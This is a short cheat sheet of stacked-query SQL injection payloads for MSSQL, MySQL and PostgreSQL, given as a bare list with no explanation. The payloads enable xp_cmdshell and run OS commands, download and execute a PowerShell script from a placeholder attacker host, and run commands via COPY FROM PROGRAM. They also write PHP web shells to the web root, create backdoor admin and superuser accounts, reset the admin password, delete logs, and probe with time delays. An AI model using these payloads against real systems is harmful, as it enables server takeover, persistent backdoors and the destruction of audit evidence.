Stacked Queries

'; EXEC xp_cmdshell 'whoami'-- -

'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;-- -

'; EXEC('net user hacker Password123! /add'); EXEC('net localgroup administrators hacker /add')-- -

'; EXEC xp_cmdshell 'powershell -c "iex(iwr http://ATTACKER/shell.ps1)"'-- -

'; CREATE TABLE cmd(output text); COPY cmd FROM PROGRAM 'id';-- -

'; CREATE USER hacker WITH PASSWORD 'pass123' SUPERUSER;-- -

'; COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';-- -

'; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';-- -

'; CREATE USER 'hacker'@'%' IDENTIFIED BY 'pass123'; GRANT ALL PRIVILEGES ON *.* TO 'hacker'@'%';-- -

'; INSERT INTO users (username,password,role) VALUES ('hacker','pass123','admin');-- -

'; UPDATE users SET role='admin' WHERE username='hacker';-- -
'; UPDATE users SET password='newpass' WHERE username='admin';-- -

'; DELETE FROM logs WHERE 1=1;-- -

'; SELECT SLEEP(5);-- -             # MySQL
'; WAITFOR DELAY '0:0:5';-- -      # MSSQL
'; SELECT pg_sleep(5);-- -         # PostgreSQL